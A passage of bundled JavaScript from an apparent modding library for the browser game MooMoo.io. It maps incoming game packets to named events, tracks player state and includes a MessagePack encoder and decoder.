            const chat_1 = __webpack_require__(4218);
            const hit_1 = __webpack_require__(3044);
            const equipHat_1 = __webpack_require__(420);
            const equipAccessory_1 = __webpack_require__(8101);
            const unequipHat_1 = __webpack_require__(5088);
            const unequipAccessory_1 = __webpack_require__(3296);
            const buyHat_1 = __webpack_require__(3269);
            const buyAccessory_1 = __webpack_require__(8106);
            function setupGame(data) {
                let sid = data[0];
                app_1.MooMoo.myPlayer = {};
                app_1.MooMoo.myPlayer.sid = sid;
                app_1.MooMoo.myPlayer.place = place_1.default;
                app_1.MooMoo.myPlayer.chat = chat_1.default;
                app_1.MooMoo.myPlayer.hit = hit_1.default;
                app_1.MooMoo.myPlayer.equipHat = equipHat_1.default;
                app_1.MooMoo.myPlayer.equipAccessory = equipAccessory_1.default;
                app_1.MooMoo.myPlayer.unequipHat = unequipHat_1.default;
                app_1.MooMoo.myPlayer.unequipAccessory = unequipAccessory_1.default;
                app_1.MooMoo.myPlayer.buyHat = buyHat_1.default;
                app_1.MooMoo.myPlayer.buyAccessory = buyAccessory_1.default;
                app_1.MooMoo.vars.gameLoaded = true;
                app_1.MooMoo.emit("gameLoad");
                app_1.MooMoo.emit("setupGame", data);
                app_1.MooMoo.emit("setupgame", data);
                app_1.MooMoo.emit("1", data);
                let didInit = app_1.MooMoo.didInit;
                if (!didInit) {
                    if (app_1.MooMoo.onGameLoad) app_1.MooMoo.onGameLoad();
                    app_1.MooMoo.didInit = true;
                }
            }
            exports["default"] = setupGame;
        },
        5701: (__unused_webpack_module, exports, __webpack_require__) => {
            Object.defineProperty(exports, "__esModule", {
                value: true
            });
            const app_1 = __webpack_require__(366);
            function shootTurret(data) {
                app_1.MooMoo.emit("shootTurret", data);
                app_1.MooMoo.emit("shootturret", data);
                app_1.MooMoo.emit("sp", data);
            }
            exports["default"] = shootTurret;
        },
        5718: (__unused_webpack_module, exports, __webpack_require__) => {
            Object.defineProperty(exports, "__esModule", {
                value: true
            });
            const app_1 = __webpack_require__(366);
            function showText(data) {
                app_1.MooMoo.emit("showText", data);
                app_1.MooMoo.emit("showtext", data);
                app_1.MooMoo.emit("t", data);
            }
            exports["default"] = showText;
        },
        1836: (__unused_webpack_module, exports, __webpack_require__) => {
            Object.defineProperty(exports, "__esModule", {
                value: true
            });
            const app_1 = __webpack_require__(366);
            function updateAge(data) {
                app_1.MooMoo.emit("updateAge", data);
                app_1.MooMoo.emit("updateage", data);
                app_1.MooMoo.emit("15", data);
            }
            exports["default"] = updateAge;
        },
        9289: (__unused_webpack_module, exports, __webpack_require__) => {
            Object.defineProperty(exports, "__esModule", {
                value: true
            });
            const app_1 = __webpack_require__(366);
            function updateHealth(data) {
                let sid = data[0];
                let value = data[1];
                let tmpPlayer = app_1.MooMoo.GamePlayerManager.getPlayerBySid(sid);
                if (tmpPlayer) {
                    tmpPlayer.health = value;
                }
                app_1.MooMoo.emit("updateHealth", data);
                app_1.MooMoo.emit("updatehealth", data);
                app_1.MooMoo.emit("h", data);
            }
            exports["default"] = updateHealth;
        },
        657: (__unused_webpack_module, exports, __webpack_require__) => {
            Object.defineProperty(exports, "__esModule", {
                value: true
            });
            const app_1 = __webpack_require__(366);
            function updateItemCounts(data) {
                app_1.MooMoo.emit("updateItemCounts", data);
                app_1.MooMoo.emit("updateitemcounts", data);
                app_1.MooMoo.emit("14", data);
            }
            exports["default"] = updateItemCounts;
        },
        9971: (__unused_webpack_module, exports, __webpack_require__) => {
            Object.defineProperty(exports, "__esModule", {
                value: true
            });
            const app_1 = __webpack_require__(366);
            function updateItems(data) {
                app_1.MooMoo.emit("updateItems", data);
                app_1.MooMoo.emit("updateitems", data);
                app_1.MooMoo.emit("17", data);
            }
            exports["default"] = updateItems;
        },
        2862: (__unused_webpack_module, exports, __webpack_require__) => {
            Object.defineProperty(exports, "__esModule", {
                value: true
            });
            const app_1 = __webpack_require__(366);
            function updateLeaderboard(data) {
                let leaderboarddata = data[0];
                app_1.MooMoo.LeaderboardManager.updateLeaderboard(leaderboarddata);
                app_1.MooMoo.emit("updateLeaderboard", data);
                app_1.MooMoo.emit("updateleaderboard", data);
                app_1.MooMoo.emit("5", data);
            }
            exports["default"] = updateLeaderboard;
        },
        1487: (__unused_webpack_module, exports, __webpack_require__) => {
            Object.defineProperty(exports, "__esModule", {
                value: true
            });
            const app_1 = __webpack_require__(366);
            function updateMinimap(data) {
                app_1.MooMoo.emit("updateMinimap", data);
                app_1.MooMoo.emit("updateminimap", data);
                app_1.MooMoo.emit("mm", data);
            }
            exports["default"] = updateMinimap;
        },
        7864: (__unused_webpack_module, exports, __webpack_require__) => {
            Object.defineProperty(exports, "__esModule", {
                value: true
            });
            const app_1 = __webpack_require__(366);
            function updatePlayerValue(data) {
                let id = data[0];
                let value = data[1];
                let player = app_1.MooMoo.myPlayer.resources;
                player[id] = value;
                app_1.MooMoo.myPlayer.resources = player;
                app_1.MooMoo.emit("updatePlayerValue", data);
                app_1.MooMoo.emit("updateplayervalue", data);
                app_1.MooMoo.emit("9", data);
            }
            exports["default"] = updatePlayerValue;
        },
        8351: (__unused_webpack_module, exports, __webpack_require__) => {
            Object.defineProperty(exports, "__esModule", {
                value: true
            });
            exports.updateHookPosition = void 0;
            const chunk_1 = __webpack_require__(627);
            const cacheItems_1 = __webpack_require__(3748);
            const app_1 = __webpack_require__(366);
            const Player_1 = __webpack_require__(9347);
            const GameObject_1 = __webpack_require__(7809);
            function updatePlayers(raw) {
                let data = raw[0];
                let arr = (0, chunk_1.default)(data, 13);
                app_1.MooMoo.ActivePlayerManager.clearPlayers();
                arr.forEach((playerData => {
                    let tmpPlayer = app_1.MooMoo.GamePlayerManager.getPlayerBySid(playerData[0]);
                    if (!tmpPlayer) {
                        tmpPlayer = new Player_1.default(playerData[0]);
                        tmpPlayer.x = playerData[1];
                        tmpPlayer.y = playerData[2];
                    }
                    tmpPlayer.sid = playerData[0];
                    tmpPlayer.dir = playerData[3];
                    tmpPlayer.buildIndex = playerData[4];
                    tmpPlayer.weaponIndex = playerData[5];
                    tmpPlayer.weaponVariant = playerData[6];
                    tmpPlayer.team = playerData[7];
                    tmpPlayer.isLeader = playerData[8];
                    tmpPlayer.skinIndex = playerData[9];
                    tmpPlayer.tailIndex = playerData[10];
                    tmpPlayer.iconIndex = playerData[11];
                    tmpPlayer.zIndex = playerData[12];
                    app_1.MooMoo.ActivePlayerManager.addPlayer(tmpPlayer);
                    if (tmpPlayer.sid === app_1.MooMoo.myPlayer.sid) {
                        Object.assign(app_1.MooMoo.myPlayer, tmpPlayer);
                    }
                }));
                app_1.MooMoo.emit("updatePlayers", data);
                app_1.MooMoo.emit("updateplayers", data);
                app_1.MooMoo.emit("33", data);
                (0, cacheItems_1.default)();
            }
            function updateHookPosition(data) {
                if (this instanceof Player_1.default || this instanceof GameObject_1.default || this.isAI || !this.id) {} else {
                    let tmpPlayer = app_1.MooMoo.GamePlayerManager.getPlayerBySid(this.sid);
                    if (tmpPlayer) {
                        tmpPlayer.x = data;
                        tmpPlayer.y = this.y;
                        if (app_1.MooMoo.onPositionUpdate) {
                            app_1.MooMoo.onPositionUpdate(tmpPlayer);
                        }
                    }
                    app_1.MooMoo.GamePlayerManager.updatePlayer(this.sid, this);
                }
            }
            exports.updateHookPosition = updateHookPosition;
            exports["default"] = updatePlayers;
        },
        2798: (__unused_webpack_module, exports, __webpack_require__) => {
            Object.defineProperty(exports, "__esModule", {
                value: true
            });
            const app_1 = __webpack_require__(366);
            function updateStoreItems(data) {
                app_1.MooMoo.emit("updateStoreItems", data);
                app_1.MooMoo.emit("updatestoreitems", data);
                app_1.MooMoo.emit("us", data);
            }
            exports["default"] = updateStoreItems;
        },
        3226: (__unused_webpack_module, exports, __webpack_require__) => {
            Object.defineProperty(exports, "__esModule", {
                value: true
            });
            const app_1 = __webpack_require__(366);
            function updateUpgrades(data) {
                app_1.MooMoo.emit("updateUpgrades", data);
                app_1.MooMoo.emit("updateupgrades", data);
                app_1.MooMoo.emit("16", data);
            }
            exports["default"] = updateUpgrades;
        },
        2656: (__unused_webpack_module, exports, __webpack_require__) => {
            Object.defineProperty(exports, "__esModule", {
                value: true
            });
            const app_1 = __webpack_require__(366);
            function wiggleGameObject(data) {
                app_1.MooMoo.emit("wiggleGameObject", data);
                app_1.MooMoo.emit("wigglegameobject", data);
                app_1.MooMoo.emit("8", data);
            }
            exports["default"] = wiggleGameObject;
        },
        2298: (__unused_webpack_module, __webpack_exports__, __webpack_require__) => {
            __webpack_require__.r(__webpack_exports__);
            __webpack_require__.d(__webpack_exports__, {
                default: () => __WEBPACK_DEFAULT_EXPORT__
            });
            const decode = function(r) {
                const e = 4294967296;
                let t = 0;
                if (r instanceof ArrayBuffer && (r = new Uint8Array(r)), "object" != typeof r || void 0 === r.length) throw new Error("Invalid argument type: Expected a byte array (Array or Uint8Array) to deserialize.");
                if (!r.length) throw new Error("Invalid argument: The byte array to deserialize is empty.");
                r instanceof Uint8Array || (r = new Uint8Array(r));
                let n = i();
                return r.length, n;
                function i() {
                    const e = r[t++];
                    if (e >= 0 && e <= 127) return e;
                    if (e >= 128 && e <= 143) return l(e - 128);
                    if (e >= 144 && e <= 159) return c(e - 144);
                    if (e >= 160 && e <= 191) return d(e - 160);
                    if (192 === e) return null;
                    if (193 === e) throw new Error("Invalid byte code 0xc1 found.");
                    if (194 === e) return !1;
                    if (195 === e) return !0;
                    if (196 === e) return a(-1, 1);
                    if (197 === e) return a(-1, 2);
                    if (198 === e) return a(-1, 4);
                    if (199 === e) return w(-1, 1);
                    if (200 === e) return w(-1, 2);
                    if (201 === e) return w(-1, 4);
                    if (202 === e) return u(4);
                    if (203 === e) return u(8);
                    if (204 === e) return o(1);
                    if (205 === e) return o(2);
                    if (206 === e) return o(4);
                    if (207 === e) return o(8);
                    if (208 === e) return f(1);
                    if (209 === e) return f(2);
                    if (210 === e) return f(4);
                    if (211 === e) return f(8);
                    if (212 === e) return w(1);
                    if (213 === e) return w(2);
                    if (214 === e) return w(4);
                    if (215 === e) return w(8);
                    if (216 === e) return w(16);
                    if (217 === e) return d(-1, 1);
                    if (218 === e) return d(-1, 2);
                    if (219 === e) return d(-1, 4);
                    if (220 === e) return c(-1, 2);
                    if (221 === e) return c(-1, 4);
                    if (222 === e) return l(-1, 2);
                    if (223 === e) return l(-1, 4);
                    if (e >= 224 && e <= 255) return e - 256;
                    throw console.debug("msgpack array:", r), new Error("Invalid byte value '" + e + "' at index " + (t - 1) + " in the MessagePack binary data (length " + r.length + "): Expecting a range of 0 to 255. This is not a byte array.");
                }
                function f(e) {
                    let n = 0, i = !0;
                    for (;e-- > 0; ) if (i) {
                        let e = r[t++];
                        n += 127 & e, 128 & e && (n -= 128), i = !1;
                    } else n *= 256, n += r[t++];
                    return n;
                }
                function o(e) {
                    let n = 0;
                    for (;e-- > 0; ) n *= 256, n += r[t++];
                    return n;
                }
                function u(e) {
                    let n = new DataView(r.buffer, t, e);
                    return t += e, 4 === e ? n.getFloat32(0, !1) : 8 === e ? n.getFloat64(0, !1) : void 0;
                }
                function a(e, n) {
                    e < 0 && (e = o(n));
                    let i = r.subarray(t, t + e);
                    return t += e, i;
                }
                function l(r, e) {
                    r < 0 && (r = o(e));
                    let t = {};
                    for (;r-- > 0; ) t[i()] = i();
                    return t;
                }
                function c(r, e) {
                    r < 0 && (r = o(e));
                    let t = [];
                    for (;r-- > 0; ) t.push(i());
                    return t;
                }
                function d(e, n) {
                    e < 0 && (e = o(n));
                    let i = t;
                    return t += e, function(r, e, t) {
                        let n = e, i = "";
                        for (t += e; n < t; ) {
                            let e = r[n++];
                            if (e > 127) if (e > 191 && e < 224) {
                                if (n >= t) throw new Error("UTF-8 decode: incomplete 2-byte sequence");
                                e = (31 & e) << 6 | 63 & r[n++];
                            } else if (e > 223 && e < 240) {
                                if (n + 1 >= t) throw new Error("UTF-8 decode: incomplete 3-byte sequence");
                                e = (15 & e) << 12 | (63 & r[n++]) << 6 | 63 & r[n++];
                            } else {
                                if (!(e > 239 && e < 248)) throw new Error("UTF-8 decode: unknown multibyte start 0x" + e.toString(16) + " at index " + (n - 1));
                                if (n + 2 >= t) throw new Error("UTF-8 decode: incomplete 4-byte sequence");
                                e = (7 & e) << 18 | (63 & r[n++]) << 12 | (63 & r[n++]) << 6 | 63 & r[n++];
                            }
                            if (e <= 65535) i += String.fromCharCode(e); else {
                                if (!(e <= 1114111)) throw new Error("UTF-8 decode: code point 0x" + e.toString(16) + " exceeds UTF-16 reach");
                                e -= 65536, i += String.fromCharCode(e >> 10 | 55296), i += String.fromCharCode(1023 & e | 56320);
                            }
                        }
                        return i;
                    }(r, i, e);
                }
                function w(r, n) {
                    r < 0 && (r = o(n));
                    let i = o(1), u = a(r);
                    return 255 === i ? function(r) {
                        if (4 === r.length) {
                            let e = (r[0] << 24 >>> 0) + (r[1] << 16 >>> 0) + (r[2] << 8 >>> 0) + r[3];
                            return new Date(1e3 * e);
                        }
                        if (8 === r.length) {
                            let t = (r[0] << 22 >>> 0) + (r[1] << 14 >>> 0) + (r[2] << 6 >>> 0) + (r[3] >>> 2), n = (3 & r[3]) * e + (r[4] << 24 >>> 0) + (r[5] << 16 >>> 0) + (r[6] << 8 >>> 0) + r[7];
                            return new Date(1e3 * n + t / 1e6);
                        }
                        if (12 === r.length) {
                            let e = (r[0] << 24 >>> 0) + (r[1] << 16 >>> 0) + (r[2] << 8 >>> 0) + r[3];
                            t -= 8;
                            let n = f(8);
                            return new Date(1e3 * n + e / 1e6);
                        }
                        throw new Error("Invalid data length for a date value.");
                    }(u) : {
                        type: i,
                        data: u
                    };
                }
            };
            const __WEBPACK_DEFAULT_EXPORT__ = decode;
        },
        112: (__unused_webpack_module, __webpack_exports__, __webpack_require__) => {
            __webpack_require__.r(__webpack_exports__);
            __webpack_require__.d(__webpack_exports__, {
                default: () => __WEBPACK_DEFAULT_EXPORT__
            });
            const encode = function(e) {
                const t = 4294967296;
                let n, r, i = new Uint8Array(128), l = 0;
                return a(e), i.subarray(0, l);
                function a(e) {
                    switch (typeof e) {
                      case "undefined":
                        o();
                        break;

                      case "boolean":
                        !function(e) {
                            s(e ? 195 : 194);
                        }(e);
                        break;

                      case "number":
                        !function(e) {
                            if (isFinite(e) && Math.floor(e) === e) if (e >= 0 && e <= 127) s(e); else if (e < 0 && e >= -32) s(e); else if (e > 0 && e <= 255) c([ 204, e ]); else if (e >= -128 && e <= 127) c([ 208, e ]); else if (e > 0 && e <= 65535) c([ 205, e >>> 8, e ]); else if (e >= -32768 && e <= 32767) c([ 209, e >>> 8, e ]); else if (e > 0 && e <= 4294967295) c([ 206, e >>> 24, e >>> 16, e >>> 8, e ]); else if (e >= -2147483648 && e <= 2147483647) c([ 210, e >>> 24, e >>> 16, e >>> 8, e ]); else if (e > 0 && e <= 0x10000000000000000) {
                                let n = e / t, r = e % t;
                                c([ 211, n >>> 24, n >>> 16, n >>> 8, n, r >>> 24, r >>> 16, r >>> 8, r ]);
                            } else e >= -0x8000000000000000 && e <= 0x8000000000000000 ? (s(211), u(e)) : c(e < 0 ? [ 211, 128, 0, 0, 0, 0, 0, 0, 0 ] : [ 207, 255, 255, 255, 255, 255, 255, 255, 255 ]); else r || (n = new ArrayBuffer(8), 
                            r = new DataView(n)), r.setFloat64(0, e), s(203), c(new Uint8Array(n));
                        }(e);
                        break;

                      case "string":
                        !function(e) {
                            let t = function(e) {
                                let t = !0, n = e.length;
                                for (let r = 0; r < n; r++) if (e.charCodeAt(r) > 127) {
                                    t = !1;
                                    break;
                                }
                                let r = 0, i = new Uint8Array(e.length * (t ? 1 : 4));
                                for (let t = 0; t !== n; t++) {
                                    let l = e.charCodeAt(t);
                                    if (l < 128) i[r++] = l; else {
                                        if (l < 2048) i[r++] = l >> 6 | 192; else {
                                            if (l > 55295 && l < 56320) {
                                                if (++t >= n) throw new Error("UTF-8 encode: incomplete surrogate pair");
                                                let a = e.charCodeAt(t);
                                                if (a < 56320 || a > 57343) throw new Error("UTF-8 encode: second surrogate character 0x" + a.toString(16) + " at index " + t + " out of range");
                                                l = 65536 + ((1023 & l) << 10) + (1023 & a), i[r++] = l >> 18 | 240, i[r++] = l >> 12 & 63 | 128;
                                            } else i[r++] = l >> 12 | 224;
                                            i[r++] = l >> 6 & 63 | 128;
                                        }
                                        i[r++] = 63 & l | 128;
                                    }
                                }
                                return t ? i : i.subarray(0, r);
                            }(e), n = t.length;
                            n <= 31 ? s(160 + n) : c(n <= 255 ? [ 217, n ] : n <= 65535 ? [ 218, n >>> 8, n ] : [ 219, n >>> 24, n >>> 16, n >>> 8, n ]), 
                            c(t);
                        }(e);
                        break;

                      case "object":
                        null === e ? o() : e instanceof Date ? function(e) {
                            let n = e.getTime() / 1e3;
                            if (0 === e.getMilliseconds() && n >= 0 && n < 4294967296) c([ 214, 255, n >>> 24, n >>> 16, n >>> 8, n ]); else if (n >= 0 && n < 17179869184) {
                                let r = 1e6 * e.getMilliseconds();
                                c([ 215, 255, r >>> 22, r >>> 14, r >>> 6, r << 2 >>> 0 | n / t, n >>> 24, n >>> 16, n >>> 8, n ]);
                            } else {
                                let t = 1e6 * e.getMilliseconds();
                                c([ 199, 12, 255, t >>> 24, t >>> 16, t >>> 8, t ]), u(n);
                            }
                        }(e) : Array.isArray(e) ? f(e) : e instanceof Uint8Array || e instanceof Uint8ClampedArray ? function(e) {
                            let t = e.length;
                            c(t <= 15 ? [ 196, t ] : t <= 65535 ? [ 197, t >>> 8, t ] : [ 198, t >>> 24, t >>> 16, t >>> 8, t ]), 
                            c(e);
                        }(e) : e instanceof Int8Array || e instanceof Int16Array || e instanceof Uint16Array || e instanceof Int32Array || e instanceof Uint32Array || e instanceof Float32Array || e instanceof Float64Array ? f(e) : function(e) {
                            let t = 0;
                            for (let n in e) t++;
                            t <= 15 ? s(128 + t) : c(t <= 65535 ? [ 222, t >>> 8, t ] : [ 223, t >>> 24, t >>> 16, t >>> 8, t ]);
                            for (let t in e) a(t), a(e[t]);
                        }(e);
                    }
                }
                function o(e) {
                    s(192);
                }
                function f(e) {
                    let t = e.length;
                    t <= 15 ? s(144 + t) : c(t <= 65535 ? [ 220, t >>> 8, t ] : [ 221, t >>> 24, t >>> 16, t >>> 8, t ]);
                    for (let n = 0; n < t; n++) a(e[n]);
                }
                function s(e) {
                    if (i.length < l + 1) {
                        let e = 2 * i.length;
                        for (;e < l + 1; ) e *= 2;
                        let t = new Uint8Array(e);
                        t.set(i), i = t;
                    }
                    i[l] = e, l++;
                }
                function c(e) {
                    if (i.length < l + e.length) {
                        let t = 2 * i.length;
                        for (;t < l + e.length; ) t *= 2;
                        let n = new Uint8Array(t);
                        n.set(i), i = n;
                    }
                    i.set(e, l), l += e.length;
                }
                function u(e) {
                    let n, r;
                    e >= 0 ? (n = e / t, r = e % t) : (e++, n = Math.abs(e) / t, r = Math.abs(e) % t, 
                    n = ~n, r = ~r), c([ n >>> 24, n >>> 16, n >>> 8, n, r >>> 24, r >>> 16, r >>> 8, r ]);
                }
            };
            const __WEBPACK_DEFAULT_EXPORT__ = encode;
        }
    };
    var __webpack_module_cache__ = {};
    function __webpack_require__(moduleId) {
        var cachedModule = __webpack_module_cache__[moduleId];
        if (cachedModule !== undefined) {
            return cachedModule.exports;
        }
        var module = __webpack_module_cache__[moduleId] = {
            exports: {}
        };
        __webpack_modules__[moduleId].call(module.exports, module, module.exports, __webpack_require__);
        return module.exports;
    }
    (() => {
        __webpack_require__.d = (exports, definition) => {
            for (var key in definition) {
                if (__webpack_require__.o(definition, key) && !__webpack_require__.o(exports, key)) {
                    Object.defineProperty(exports, key, {
                        enumerable: true,
                        get: definition[key]
                    });
                }
            }
        };
    })();
    (() => {
        __webpack_require__.o = (obj, prop) => Object.prototype.hasOwnProperty.call(obj, prop);
    })();
    (() => {
        __webpack_require__.r = exports => {
            if (typeof Symbol !== "undefined" && Symbol.toStringTag) {
                Object.defineProperty(exports, Symbol.toStringTag, {
                    value: "Module"
                });
            }
            Object.defineProperty(exports, "__esModule", {
                value: true
            });
        };
    })();
    var __webpack_exports__ = __webpack_require__(366);
})();